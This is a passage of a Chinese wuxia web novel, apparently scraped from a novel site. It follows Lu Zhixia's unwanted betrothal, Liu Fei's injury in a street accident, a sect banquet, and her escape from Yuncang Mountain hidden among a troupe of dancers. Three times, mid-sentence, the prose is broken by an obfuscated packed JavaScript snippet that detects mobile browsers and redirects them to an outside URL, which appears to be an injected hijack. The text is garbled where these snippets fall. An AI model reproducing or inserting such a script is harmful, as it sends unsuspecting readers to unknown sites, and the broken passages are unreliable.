齐威认为陆掌门压力太大,草木皆兵。沉默片刻,他叹息道:“江湖好儿郎众多,你也不该把自己的亲生女儿嫁给刘家的傻儿子。” “你以为我愿意?”陆掌门头疼道:“我为她的亲事整整操心三年,除了刘家没人愿意要她。” 齐威道:“缘分未到强求无用,让她留在家里孝敬你不好吗?” “孝敬?”陆掌门苦笑,“自打她回家门就没让我省心,还不如早早嫁人。没准为人母后她那蛮横的性子就收敛了。” 齐威心知陆掌门认定了这门亲事,但还是多嘴几句劝他善待女儿。 陆掌门一向不喜有人对他行事妄加指点,起身到书案旁坐下处理手头事务,将齐威独自晾在一旁。 齐威识趣出门。还未走远便听身后传来一阵摔东西的声音,顿时心寒。从前正气凛然的师兄怎会变成今日这般冷漠无情、唯利是图? 离开的路上,齐威蓦然想起许多往事,悠悠长叹。二十年前,中原武林与苗疆魔教乌月教于关月山的一场大战不止改变了江湖局势,也改变了许多人的命运。若他们的师父没有在那场大战中殒命,云苍派和武林盟也不会走到如今这般争锋相对的地步。如今的武林盟也不会空有架子,难聚人心,只充当个调解江湖是非的和事佬,毫无凝聚人心再创一番伟业的雄心。 出了云朝阁,齐威望着远空感慨,或许一代人有一代人的宿命吧。 * 入夜,云炀城街市灯火如昼,人声鼎沸。 刘斐耷拉着缠满绷带的脑袋默默前行,身后跟着刘莹还有两个蓝衣弟子。他们还是头一回见痴傻后的刘斐连续几日失魂落魄的样子。 一路上看到新奇好玩的东西刘斐都捡双份买,一份自己的,一份留着日后送给他的小仙女。倒是苦了两名弟子,才出来没多久手上便拿满东西,叫苦不迭。 刘莹忍不住提醒:“斐儿,陆小姐不一定喜欢这些东西,你买自己的就行。” 刘斐戳着食指,嗫嚅道:“小仙女因我被陆伯伯骂惨了,下回我要送她好多好东西作为补偿。” 刘莹轻笑,“看来斐儿真的很喜欢陆小姐。” 回忆起小仙女勇斗恶徒救他,细心为他上药的情形刘斐双颊就发烫,憨声道:“小仙女长得好看,人也很好,就是生气的时候很吓人。但斐儿就是喜欢她,想和她做一辈子好朋友。” 刘莹道:“既然如此,你可要好好劝啸哥,别让他到你爹面前告状。否则,你就永远见不到你的小仙女了。” “咚咚锵——” 前边传来敲锣打鼓的声音,刘斐好奇转头,终于放弃买东西,奔上前凑热闹。刘莹和两名弟子不喜挤人堆,在原地远远看着他。 围观看街头表演的人越来越多,刘斐的身影很快被淹没。 人群中,一个布衣男子光明正大扯了刘斐腰间玉佩便溜。刘斐瞪大眼睛,屁颠屁颠追上去,“那是我娘给我的玉佩,你快还给我。” 街上人多,二人跑得不快。贼人跑到大路上,随手将玉佩一扔便跑。刘斐拨开人群看到地上的玉佩,欣喜上前。 一只斜伸来的脚将刘斐绊倒。 刘斐狠狠摔了个狗啃屎,膝盖和下巴也磕破了,疼得半天爬不起来。他抬起头,玉佩就在离他不远的地方。他伸手使劲去够,终究还是差一截。 路上传来响亮的鞭子声,大街上行人惊叫着避让一辆疾行的马车。路上光线昏暗,加上车夫着急赶车,车轱辘径直从路上一道不明物体上辗轧过去。 滚滚车轮声掩盖骨头碎裂的脆响,车夫似乎没察觉,还在继续赶车。 “啊!” 一声凄厉的惨叫声打破街市喧嚣。路人纷纷大喊:“马车辗到人啦!” 疾行的马车并未停下,飞快消失在大路尽头。 * 表演结束,人群散去后,刘莹他们左右不见刘斐,急得四处寻找。 听路人说一个红衣公子被马车撵了,他们即刻往大路上围着的一群人走去。 拨开人群,看到眼前的景象刘莹双腿发软跪倒在地。 “堂姐,我好疼……”刘斐趴在地上,左臂还横在路上,左腕以一种不正常的角度扭曲着,血肉模糊的地方透着白骨。 随后挤进来的两名弟子也被眼前景象吓了一跳,手里的东西全掉在地上。 “愣着做甚?快扶公子去找大夫。”愤怒的声音略微颤抖,刘莹眼中除了慌乱,更多的是恐惧。刘斐因她看护不利出事,刘夫人定不会轻易放过她。想到她那根纤细坚韧的藤鞭,只一鞭便能让她皮开肉绽…… 两个弟子找来一块大木板将刘斐扶上去,正要抬走,刘斐指着地上念叨:“玉佩,我的玉佩……” 刘莹拾起路中间一块熟悉的玉佩,认出它正是刘斐的贴身之物。既是贴身之物,怎会掉在路中间? 刘斐的哀嚎声拉回刘莹神思。她心烦意乱无暇深究,即刻与弟子带刘斐去寻医。 * 深夜,一场雷雨猛烈冲刷云炀城。 城北一处医馆灯火通明,堂上几人焦急等待。内堂不时传来惨叫声,混着打雷声,听得人心惊肉跳。 秦啸天心烦意乱,一拳砸在柱子上,悔恨道:“早知就该尽快离开这不祥之地。” 刘莹抹了把眼泪,说道:“都怪我没有看好斐儿。” 秦啸天叹了口气,安慰道:“你先不要自责,待看斐儿伤势如何再说。” 这时,几名弟子从外边回来。秦啸天急声道:“如何,找到肇事者了吗?” 弟子们面色沉重地摇头。一名弟子道:“这场雨来得不是时候,街上的人都跑光了,找不到目击者。” 秦啸天道:“事情不能就这么算了,明日接着找,就算掘地三尺也要把肇事的找出来。” 说话间,大夫和助手从内堂走出来,玄阴派的人围上前。 大夫神色凝重,说道:“刘公子左手腕骨碎裂,经脉尽断,日后伤愈也无法使用。” 秦啸天一把揪住大夫衣襟,咆哮道:“治不好他的手,我就废了你的手。” “大师兄,冷静。”弟子们上前拉住情绪失控的秦啸天。 刘莹跌坐在地,捂嘴痛哭。刘斐伤得那么重,都见骨了,她就知道不会有奇迹。 又是一个让人无法安眠的雷雨夜。 冷静下来后,秦啸天与刘莹到内堂看望刘斐。 床铺上,面色苍白的刘斐双眼紧闭,一动不动。接骨时大夫给他服了麻沸散,眼下药效未散睡得很沉。刘莹坐在床边,看着他整条缠着厚厚绷带的左臂抹泪,哽咽道:“回去婶婶一定会打死我的。” 秦啸天早已想好对策,说道:“别怕,这回同行的都是我的亲信,到时候大家统一口径说是他的仇家报复即可。他一屁股风流债,刘家理亏定不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083139|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深究。待我把肇事者和目击者统统灭口,不会有人知道这件事。” “你的人口风严吗?”刘莹仍是担心。 秦啸天道:“放心,他们跟随我出生入死多年,不会有问题。” “谢谢你,啸哥。”刘莹感激地看着秦啸天,“这些年在玄阴若没有你暗中护着,我早活不下去了。” 秦啸天叹息道:“这世道冷酷艰难,你我皆是苦命之人,唯有相互扶持才能走得更远。” 刘莹抿唇微笑,心中却一如既往困惑。他们非亲非故,他对她也无男女之意,究竟为何帮她? * 数日过去,云苍山一切平静。 陆知夏一个人在黑暗洞室中待久了心也跟着静如止水。她发现这种无人烦扰、没有情绪的日子也不错,即使如此度过余生也未尝不可。 “吱呀——” 铁门忽然开了,橘黄的火光照进来格外刺眼,陆知夏抬手遮住眼睛。 “二小姐,你可以出去了。”一名弟子上前,扶起缩在角落里的陆知夏。 “我被关了多久?”许久未开口说话,陆知夏声音沙哑。 “六日。”弟子扶着她踉踉跄跄出门。 才被关了六日?陆知夏不可思议。上次父亲大发雷霆,她以为自己出嫁前都要在这暗无天日的地方度过。 来到洞口,刺眼的天光令她睁不开眼,捂着眼睛连连后退。一双温暖大手倏然握住她的手,带着她往前走。 “知夏。” 是江宛若的声音。来到洞外适应天光后,陆知夏缓缓睁眼。站在面前对她微笑的是江宛若,而一旁握着她的手带她出来的却是陆子辰。 陆知夏刚想抽回手,陆子辰先一步放下手,一言不发往前走。 江宛若抱着陆知夏手臂,边走边说道:“这六日一定很难熬吧?赶紧回去洗掉晦气再吃顿好的。” 陆知夏神色始终平静,淡淡道:“玄阴派的人可还在?” “早走了。”江宛若凑过来,小声道:“说来也是报应,刘斐在路上遭仇家报复,一只手废了。” 陆知夏道:“他就是死了,爹说不定还要杀我配给他冥婚。” 江宛若叹息,那日陆掌门不帮女儿,反帮外人残害女儿的言行让她终于理解陆知夏为何要逃离这个家,换成是她也受不了。 * 回云岚院沐浴更衣后,桂嬷嬷和小茶端着丰盛食物进屋。 桂嬷嬷摆着饭菜,说道:“我把小姐平时爱吃的菜都做了,你多吃点。” 陆知夏看着满桌丰盛菜肴却没胃口。许是在洞里昏沉度日惯了,她稍微动一动就觉得十分疲惫,连张嘴吃东西都觉得费劲。 小茶替她盛了一碗鸡汤,说道:“小姐今日好好歇息,明日门中有喜事,掌门让您也前去参加。” “什么喜事?” 小茶道:“姜夫人的生辰宴。这回掌门在前厅办,门中所有人都要参加。” 陆知夏握紧手中筷子,难怪父亲肯提前放她出来。为一个侧室庆生如此铺张,只怕父亲是想借机扶正姜氏。父亲宠妾多年,母亲的死正好给姜氏让位。如今丧期一过,他便能顺理成章立姜氏为新夫人。 想到这,陆知夏心里又隐隐作痛。父亲扶正姜氏,待她出嫁后,云苍派便彻底属于他们一家三口。她和母亲从头到尾都是多余的人…… 越想越难过,陆知夏还没吃几口就扔下筷子回房睡觉。如今她是越来越讨厌清醒的时候。 * 一觉醒来天色已暗,陆知夏坐起来伸懒腰。 点灯后,她走到敞开的雕花窗前,张开双臂任清风吹拂。 入夜的风带着一丝凉意,吹散夏日的闷热,陆知夏闭上双眼,想象自己也幻化成风,自由地穿行于天地间。 寒光一闪,半空中射来一支短箭,直直钉在窗框上。 “谁?”陆知夏吓了一跳,伸头扫了一眼窗外却并未发现可疑之人。 她发现短箭上绑着字条,即刻取下,回书案旁打开。 字条上写着:“明日戌时,柴房相见,出逃。” 寥寥数字令陆知夏震惊不已,有人要助她出逃?!她欣喜地将字条再看一遍。 这个人的字迹陌生,陆知夏猜不出帮她的是何人。但事关重大,她赶紧借着烛火将字条焚毁,再把灰烬踩成粉末才安心。 不管是谁帮她,只要能离开这个令人绝望的家,她愿意冒险一试。 27. 出逃(上) 姜氏生辰这日,门中到处张灯结彩,热闹喜庆,不知道的还以为是办婚事。 入夜,偌大前院灯火如昼,人声鼎沸,座无虚席。陆家兄妹来到前院,放眼望去都是人,陆知夏不由感叹,平日练武没见这些人积极,今日吃喝玩乐倒是无人缺席。 一名丫鬟引兄妹二人至主桌。陆知夏看着圆桌旁四个摆放稀疏的圆凳纳闷,这么重要的日子,除了下山云游至今未归的四师叔,三师叔竟也不参加? 陆子辰兀自落座,陆知夏却站着不动。她可不想看他们母子今晚得意的样,搬起自己的凳子就往邻桌的江宛若和李暮中间走去。陆子辰只负责把她带到,其余的由着她去。 多了一人,邻桌略显拥挤。齐放调侃道:“陆老二,放着宽敞显眼的位置不坐来这挤什么?一会儿吃菜大家筷子都打架了。” 陆知夏道:“想出风头你去坐吧。我今晚就是来蹭饭的,吃完就走。” 柳玄道:“二小姐,你真坐这儿?一会儿师父见到怕是又要生气咯。” 陆知夏一脸无所谓地剥着橘子,“生气就生气,大不了再把我关起来,反正静思洞我住惯了。” 柳玄笑问道:“那二小姐可静思出什么?” 陆知夏瞥了一眼斜对面话多的小鬼,吃着橘子若有所思地总结道:“我觉得吧,人醒是一天,睡也是一天,睡着总比醒着好,至少不必面对讨厌的人和事。” 这道理浅显粗俗,同桌几人莞尔。唯有心不在焉的李暮和沉默寡言的赵钧没有任何反应。 陆知夏看出李暮有心事,剥了一半橘子递到他面前,“二师兄吃橘子。” 李暮温和一笑,“你自己慢慢吃吧。” 陆知夏收回手,心想或许他也猜到父亲要扶正姜氏,心里替母亲难过吧。 李暮神色复杂地看了陆知夏一会儿,正欲开口却被远处传来的一声高呼打断。 “掌门到——” 少顷,身着净白庄重礼服的陆掌门和姜氏相携而来。众人安静起身,抱拳高呼:“拜见掌门。” 整个前院回荡着震耳欲聋的呼声,听得人心潮澎湃。 踏着红毯来到席前,陆掌门面对众门人说了一番客套开场白后直奔主题,扬声道:“我派主母之位空置已久,姜氏温厚贤淑,品行端正,堪当主母,日后诸位当以夫人之礼待之。” “恭喜夫人。” 耳边又是一阵震耳欲聋的道贺声。坐在人堆里的陆知夏愤愤不平地将刚剥好的整个橘子塞进嘴里,酸涩的汁水充满口腔,她眉眼皱成一团,一时分不清是嘴里还是心里更酸。 “你小心别噎死。”江宛若担忧地看着腮帮鼓鼓的陆知夏。 陆掌门宣布晚宴开始,众人落座。 新夫妇二人相携入席。陆子辰上前朝二人恭敬行礼:“恭喜爹娘结发同心。” 新夫妇二人微笑点头,一家三口同时入座。陆掌门发现席上缺了一角,转头却看到女儿挤坐在邻桌,面上顿时显出不悦。 欢快的弦乐声渐起,数名身材曼妙的舞姬踏上红毯,伴着乐声翩翩起舞。为了给姜氏庆生,陆掌门请了不少远近闻名的乐坊和杂耍班来献艺。众人一边开怀畅饮,一边欣赏舞乐,席间气氛欢畅惬意。陆掌门无意破坏气氛,压下怒气喝酒吃菜。 李暮邀同门去向陆掌门和新夫人敬酒,也摇了摇闷声吃菜的陆知夏。 “我喝不了酒,你们去吧。”陆知夏心中不爽,言语冷淡。江宛若往她杯子里倒茶,让她以茶代酒去做个样子,省得宴后陆掌门找她麻烦。 陆知夏顾及今晚的大事,不欲横生枝节,暂时放下怨恨,执杯同几人向主桌走去。 看到女儿与座下弟子同时来敬酒,陆掌门和姜氏颇感欣慰,一同饮下他们的祝福。 放下酒杯,姜氏微笑看着陆知夏,“好孩子,今日能得到你的祝福我很高兴。” 陆掌门也捋须说道:“你不是缺娘疼吗?夫人待你这么好,往后你就叫她一声娘吧。” 陆知夏紧捏手里的杯子,拼命维持着面上平静,胸中早已怒焰冲天。她不做任何表示,转身就独自回座。 “这孩子……”陆掌门眉头再度皱起。 “没关系。”姜氏柔声道:“很多事都得慢慢来,大喜之日就由她去吧。” 姜氏的大度令陆掌门心间一宽,眉头也舒展开来。 李暮几人敬酒回来陆知夏已吃饱。她起身离席,江宛若主动送她回云岚院。二人边走边吐槽姜氏今晚的惺惺作态。到了云岚院门口,江宛若背着值守的弟子偷偷将一本《江湖逸闻录》塞给陆知夏,说道:“这是最新一期,你若是无聊就拿来看,少生闷气。” 陆知夏心头一暖,握住江宛若的手,说道:“宛若,谢谢你这些年对我的照顾。” 江宛若一怔,感觉陆知夏像是在道别,握紧她的手,紧张道:“你可别想不开又干傻事。” “不会,我就是一时有感而发。”陆知夏晃了晃手里的书册,“再说,好书还没看呢,死什么死。” 二人相视一笑,挥手作别。陆知夏看着江宛若走远才转身回院子。 * 回来不久,陆知夏早早睡下。小茶将内室的灯熄灭,坐在外间缝衣裳。 内室的门关上时陆知夏就已睁眼。戌时快过了,她必须尽快行动。 外间亮着一盏油灯,昏黄的光线在门上映出小茶淡淡的身影。陆知夏悄悄下床,伸手从床底摸出几支迷香。这是今早有人悄悄放在窗台上的,想必是那人给她以备不时之需。 陆知夏先用帕子将脸蒙上再点燃迷香。从前她在云炀捉弄人时用过迷香,使用起来得心应手,很快就把外间的小茶和偏房的桂嬷嬷放倒。布置好一切,陆知夏换上小茶的衣服便空手出门。 院门外值守的两名弟子正坐在阶上聊天。陆知夏点燃最后一支迷香悄悄走近院门,想用同样的办法解决他们。 “什么人?”外面二人忽然大喊。 陆知夏以为自己被发现,紧张躲到院中大树后。 过了许久也没人开门进来,陆知夏探出半个脑袋张望,发现院门虚掩着,外边静悄悄的。她大着胆子走过去,确认外边无人后开门走出去。 时间紧迫,机不可失,陆知夏无暇多想,匆匆向前院附近的柴房走去。 倩影走远,墙头上跃下一名黑衣鬼面人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陆小姐放心,奴家自有良策。”程老板拍拍手,两名伙计抬着一口大箱子进来,一同进来的还有一名同陆知夏此时身材模样相仿的女子。 程老板将箱子打开,女子按她的吩咐跨进箱里,蹲下后陆知夏便瞧不见她身影。程老板弯腰在箱里一阵捣鼓后将桌上一大堆女子贴身衣物抱进箱子里放平整,再合上箱子落上锁。 陆知夏目瞪口呆。这个箱子装那一大堆衣物尚可,但先前多了个人怎么装得下?难道一个大活人就这么凭空消失了? “莫非……这就是传说中的缩骨功?”陆知夏听说过这种武功,却从未亲眼见过,大胆猜测。 程老板忙活完抹了把汗,笑道:“都是江湖把戏,上不得台面。一会儿出去你大胆跟着姑娘们走就行,遇到熟人也莫慌,咱们很快就能离开这儿。” “嗯。”陆知夏开心点头。 收拾好东西,程老板领了管事给的赏钱,带着自家人往前门走去。江湖艺人连夜赶场子是司空见惯的事,若有需要东家都不会强留过夜。 混在舞姬中的陆知夏望着周遭事物心里竟有一丝不舍。她也不想离开那些关心自己的人,可她别无选择…… 28. 出逃(下) 席间,弟子接连来敬酒,陆掌门不胜酒力,眼前人影摇晃。姜氏扶他起身,他笑道:“今日大好日子,你代我再陪大家坐坐。”言罢,陆乾上前扶他回云朝阁。 主桌上只剩姜氏母子二人。 陆子辰今夜格外沉默,一直闷声喝酒。姜氏往他身边一坐,拦住他执杯的手,说道:“少喝点,一会儿压轴节目精彩,你可不能错过。” 陆子辰抬眼兴致阑珊地望向红毯上卖力表演的杂耍艺人,再度执杯。 “好!”何家班一场精彩的飞刀表演在观众的喝彩声中结束。 压轴节目即将登场,姜氏目光紧盯场上,看上去比其他人都期待。 清脆琵琶声渐起,两名天女打扮的清秀舞姬同时凌空飞来,手中花瓣轻扬,场中顿时花雨纷落,芳香弥漫,如梦似幻。 席间有人惊呼:“是云秀坊的人!” 闻言,畅饮闲聊的男弟子皆放下酒杯,伸长脖子望去。 花雨中,一名头束高髻天女打扮的黄衣女子赤足踏着舞步入场。纤细藕臂携手中琵琶灵活舞动,弹拨的旋律悦耳动听。观众目光立时被她吸引。 跃动轻旋间,女子来到场中,蛮腰柔韧地配合舞姿扭动,举手投足间帔帛彩带翩飞,环佩轻响,与悦耳的琵琶声辅成一场视觉与听觉的美妙盛宴。 女子虽以流苏金饰覆面,但诱人出众的异域舞姿让常出入坊间的弟子认出,大声高呼:“锦绣姑娘!” 此言一出,席间众人起身争相上前围观。宴会已接近尾声,但场中气氛却因锦绣一舞再度沸腾。 云炀一带谁人不知锦绣大名,她十五岁时便以一支技艺精湛的舞蹈《天宫献乐》在云炀城五大乐坊竞技中拔得头筹,成为云秀坊色艺双绝的头牌。当年有幸看过那一支舞蹈的人至今难忘。众人没想到,平日花重金也难得一见的云炀第一美人,竟携自己的成名舞来云苍为姜氏庆生,看来她与姜城主的绯闻有可能是真的。 锦绣已习惯这样热闹的场面,发挥平稳,只是不时递向主桌的撩人眼波却无人接收。 如今双十年华的锦绣,舞姿依旧灵动柔韧,一身坦肩露腰的紧身纱裙尽显姣好身材,弟子们的目光一刻也未曾从她身上移开,喝彩声不断。 陆子辰一直低头饮酒,耳边吵闹声不断,他抬头往场上淡淡一瞥,登时被酒呛了一下。 姜氏含笑侧目,说道:“为了请锦绣姑娘,我可耐着性子求了你爹好几回,还托了崇儿帮忙。如何?喜欢这支舞吗?” 陆子辰苦笑道:“娘也对云炀第一美人的舞姿感兴趣?” “娘是特意为你请的。”姜氏见儿子仍不肯说实话,嗔道:“若非知夏提醒,娘还不知道你已有心上人。你若真心喜欢锦绣姑娘,即便是个舞姬,我也尽力让你爹允你留她在身侧。” 陆子辰心里蹿上一股无名火,重重放下酒杯,“那个鬼丫头的话你也信?” 姜氏见他反应这么大,无论他是否承认,女人的直觉让她断定他与锦绣必定关系匪浅。 场上一舞终了,妖娆身影退场,众人意犹未尽。 夜渐深,宴席差不多该散了。姜氏和陆子辰起身离席,移步云香园中的凉亭小坐。 母子二人品着茶,姜氏的贴身丫鬟领着一名身姿婀娜的锦衣女子前来,正是方才在场中大放光彩的云炀城第一美人锦绣。 陆子辰顿时明白母亲用意,起身告退。姜氏拉住他,神色黯然地说道:“子辰,你知道娘今日心绪不佳,再陪娘坐一会儿好不好?” 陆子辰无奈坐下。 锦绣来到近前向姜氏母子盈盈施礼。姜氏请她坐到身边,让丫鬟奉茶。 此刻不戴面饰的锦绣五官精美,气质脱俗,果如传言那般貌美倾城。此前虽未接触,但姜氏从她那双明亮镇定的凤目中看出她并非徒有其表,与自己的儿子看着很是般配。只不过二人见面后都不说话,姜氏只好开口打破沉默:“锦绣姑娘与我们子辰认识吗?” “奴家与陆公子在姜城主的宴会上见过几面。”锦绣柔婉的嗓音听着也极度悦耳。姜氏心想,难怪男人有钱都喜欢找年轻美人作陪,确实养眼舒心。她转头看向儿子,他却心不在焉地喝着茶。锦绣的目光也透着一丝拘谨疏离。姜氏这才意识到陆知夏的话果然不可信。 但美人已大费周章请来,姜氏又看二人般配,忍不住想趁此机会给他们牵红线,张口便问锦绣有没有意中人。锦绣下意识瞥了一眼陆子辰,又收回目光,神情窘迫不便回答。 姜氏不甘心,又问锦绣喜欢什么样的男子。锦绣含羞低头,更是没有说话。 气氛一时尴尬。 陆子辰放下茶盏起身,“你们慢聊,我酒喝多了有些不适,先行一步。” “子辰。”姜氏也站起来,说道:“夜深了,我也要回云朝阁,不如你顺路替我送锦绣姑娘去客房歇息。” 言罢,姜氏带着丫鬟逃也似地匆匆离开。 亭中只剩二人,锦绣道:“姜夫人真有趣,少主这些年在门中过得也不错吧。” “每日刀尖上冒险的滋味确实不错。”陆子辰淡淡的话语中隐含不悦,锦秀自知失言,低头不再说话。 夜深风凉,二人沿着回廊往客房方向走去。陆子辰扫了一眼衣着单薄的锦绣,说道:“今晚你不该来。” 锦绣道:“陆掌门几次派人上门送贴,我若不来便是不给云苍派面子。何况,陆家的银子不赚白不赚。” 陆子辰莞尔,“何时你也学会精打细算了?” 锦绣小声道:“秀儿如今有能力,自然要为少主分忧。” 陆子辰眼中多了一丝欣慰。多年过去,他们都成了挑起重担的大人…… 四下无人,一道黑影悄无声息接近廊上二人。陆子辰停下脚步,鬼面人现身上前,说道:“少主,陆小姐没有同我们的人碰面,而是被翠微坊的程老板带走了。我跟踪她们一路,看样子程老板也要带陆小姐下山。” 陆子辰双眼微眯,冷冷道:“翠微坊的人同陆知夏毫无瓜葛,他们来搅和什么?无论如何赶紧把人抢回来。” 锦绣叫住正要离去的鬼面人,说道:“我曾与翠微坊程老板打过交道,她为人仗义豪爽,算是女中豪杰。既然她与我们目的一致,不如让她替我们走这步险棋。” 陆子辰道:“不管她有何目的我都不能冒险,万一她失手或是居心不良,后果不堪设想。” 锦绣看到他攥紧拳头,叹息道:“可在门中抢人风险也大,青烛的安危你也不在乎吗?” 沉默良久,锦绣见陆子辰还是拿不定主意,单膝跪地道:“秀儿愿以人头担保,程老板绝对不会伤害陆小姐分毫。我们先在暗处观察,若他们不慎失手再倾力相助,双方联手救人也好降低损失。” 陆子辰心烦意乱。抢人容易惊动门里的人,而且他的计划也不能完全避免与某处守卫发生冲突。既然都是冒险,不如放手一搏。他对鬼面人道:“青烛,就按秀儿的意思去办,一定要保护陆知夏安然离开。” “是。”鬼面人跃上屋檐离去。 陆子辰送锦绣到客房后仍是放不下心,回头匆匆往前门方向走去。 * 云苍派前门处排着长队,连夜赶场的江湖艺人在此等候接受出门检查。翠微坊排在最后,陆知夏站得腿都酸了才轮到他们。 程老板带着十名舞姬和六个抬着大箱子的伙计上前接受检查。一名弟子清点人数,两名弟子检查他们携带的物品。 看着弟子们认真细致地检查,陆知夏紧张得手心冒汗。 前两个伙计抬的大箱子都是演出用的衣饰道具,弟子们仔细检查并未发现问题。最后一个箱子较小,装的又是女子贴身衣物,两名男弟子互相对望,谁也不好意思下手。 “我来。”旁边一名男弟子嬉皮笑脸上前,众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083141|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目睽睽之下捞起袖子伸手在满是女子贴身衣物的箱子里乱摸乱翻,周围人满是弃地看着他。 李暮匆匆走来,朝大门处的弟子召唤:“你们几个快过来,那边有醉酒的弟子在打架,赶紧把人都拿下。” 闻言,其他弟子都去帮忙。扒着箱子的弟子并未发现异常,收手撵翠微坊的人赶紧离开。他关好大门后也赶去帮忙。 陆子辰赶到前门时,大门刚关上,需连夜赶场的江湖艺人也都走光了,一切并无异常。他握剑的手终于放松,转身往回走。这个翠微坊的程老板不声不响便能把人带走,看来确实不简单。 大门外,陆知夏顺利上了翠微坊的马车。装点妥当后,几辆马车火速驶向山下。 * 子夜的云景院空旷寂寥。 姜氏搬到云朝阁后,偌大庭院只剩陆子辰和几个仆从丫鬟住着。此刻院里的下人早已歇息,四处黑灯瞎火。墙头上一道黑影一闪而过,鬼面人熟门熟路从窗户跃入陆子辰卧房。 内室里亮着一盏昏黄的灯,陆子辰仍未眠,坐在案前专注地雕刻着手里事物。 “少主。”隔着内室的门传来鬼面人的声音:“陆小姐已随翠微坊的人安全离开云苍山,我们的人继续沿途盯着他们。” 陆子辰放下手中刻刀,他虽不知翠微坊的人为何要帮陆知夏出逃,但她们计划周详,行动低调迅速,确实帮了他一个大忙。他朝门外的人吩咐道:“往后每日向我汇报陆知夏的行踪,绝不能跟丢。路上若无异常情况也不要干涉她的事,她想去哪,想做什么都由着她。 “是。”鬼面人领命而去。 陆子辰将未雕完的东西放回木箱里锁好,走到窗边望着天上倒挂的残月喃喃自语:“好好珍惜这段清闲时光吧。” 冷白月光中的挺拔身影又显孤寂。不知为何,没了她的云苍山一下就变得清静无聊。心里空落落的,连对明天他也开始不再期待…… * 翌日,天光大亮云岚院里也没有丝毫动静,守在外边的弟子察觉情况不对,开门进院查看一番才发现陆知夏失踪,火速去向陆掌门禀报此事。 云朝阁卧房内,与新夫人共度良宵起晚的陆掌门听闻女儿神秘失踪后震怒,即刻下令封山,调集门中所有人去搜寻。 喜事刚过,因为陆知夏的无故失踪,云苍山从上午开始便鸡犬不宁,再度笼罩在一片愁雾中。 * 时近正午,郊外一处僻静的十字路口处停着三辆马车,另一条小路上也停着一辆马车,车旁三人正在说话。 翠微坊受邀去邻国献艺,程老板将陆知夏交托给一名精神矍铄的五旬老伯,让他护送陆知夏去离忧城。 “为何让我去离忧城?”陆知夏摸了摸头上的布团,仍是不适应眼下这身村夫装扮。 程老板道:“离忧城距云炀较远,且城主与陆掌门有嫌隙,你躲在城里云苍派的人自然不敢大张旗鼓地入城寻你。” 陆知夏了然点头,跪谢程老板大恩。程老板扶她起来,说道:“小姐莫要如此,我也是受人之托。” 昨夜脱身后,陆知夏问了程老板一路,她始终不肯透露是谁让她出手相助。陆知夏只好默默记下这份恩情。 临别之际,陆知夏忽然担忧道:“若是我爹追查到你们身上怎么办?我会不会连累你们?” 程老板宽慰道:“放心吧,我们很快就去邻国,等避过风头再回来,不会有事的,你且安心上路吧。” 听了这番话陆知夏才稍稍放心,默默祈求上天保佑他们各自一路顺风。 双方道别后分头上车离开。 看着车窗外倒退的陌生风景,陆知夏感觉眼下一切极不真实。她真的离开了那个压抑窒息的家。 马车一颠拉回思绪,陆知夏叹了口气,希望那些关心她的人发现她不辞而别后不要怨她。一切皆是命运弄人,往后大家相忘于江湖吧…… 29. 猜忌 陆知夏神秘失踪后,弟子们耗时两日将整座云苍山及附近一带搜遍也没有发现她的踪迹。一个只会三脚猫功夫的重点看护之人断不可能无声无息离开云苍,众人都猜测她是被顶尖高手带走。正好当晚一些弟子在门中看到一个可疑黑影,虽未逮住此人,但那人定与此事脱不了干系,没准他就是带走陆知夏的人。 但事情似乎还有一些疑点。赵钧仔细勘察过陆知夏卧房,外间有迷香残留,而内室却无,而且外侧门框上还有一处灼烧过的痕迹,像是内室的人用迷香放倒了外间的人。小茶也供述,当晚陆知夏睡得早,她在外间缝补衣物,不知道怎么就睡过去了,醒来便已事发。综合这些情况,赵钧认为陆知夏并非被人掳走,极有可能与人配合逃离。而且他们计划周详,没有惊动任何人便离开。陆掌门相信赵钧的判断,但陆知夏平日从不与外人往来,他实在想不出是何人帮她。 找人之事毫无头绪,陆掌门气得吃不下睡不着。陆知夏的神秘失踪对他和整个门派而言都是奇耻大辱。他警告门中所有人不得走漏半点风声,还把当晚门中所有值守的弟子严惩,就连小茶和桂嬷嬷也被罚到后山菜地干农活。 即便如此,陆掌门仍旧怒气难消,命赵钧和柳玄带人下山低调寻人。待寻到那个不孝女,他定要将她严惩一番再塞进花轿里送到玄阴派。提到婚事,陆掌门又叹息,刘斐废了一只手,目前仍在休养,婚事也暂时推迟。但如今女儿又失踪,不知等刘斐康复时能否寻回。 陆掌门正发愁,陆乾送来一封烫金红贴。阅贴后,陆掌门便将手中茶盏摔在地上,愤愤道:“这个姓闫的可真会添乱。”烦心事接踵而来,他顿感心力交瘁,无力靠在椅背上。 * 深夜,云朝阁书房依旧亮着灯。陆掌门坐在案前处理事务,听到门外传来脚步声即刻抬头。陆乾领着陆子辰进门,陆掌门忙问道:“可有那个不孝女的下落?” 陆子辰摇头。 